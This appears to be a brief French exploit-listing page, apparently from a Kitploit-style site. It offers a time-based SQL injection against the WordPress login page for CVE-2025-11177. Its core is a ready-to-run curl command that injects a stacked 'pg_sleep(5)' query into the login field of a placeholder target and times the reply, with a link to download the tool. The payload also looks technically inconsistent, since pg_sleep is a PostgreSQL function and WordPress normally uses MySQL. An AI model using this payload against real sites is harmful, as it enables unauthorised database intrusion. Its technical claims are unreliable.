CVE-2025-11177 — Exploit d'injection SQL basée sur le temps pour CVE-2025-11177 ciblant la connexion WordPress avec livraison de charge utile via curl et détection temporelle par pg_sleep. | Kitploit

Déclencher le SQLi avec une charge utile temporelle sur la page de connexion publique

curl -w '\nTIME:%{time_total}\n' -s \
  -d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
  -d 'redirect_to=' \
  -d 'testcookie=1' \
  'http://{target}/wp-login.php'

Télécharger l’outil

CVE-2025-11177

Populaires

Déclencher le SQLi avec une charge utile temporelle sur la page de connexion publique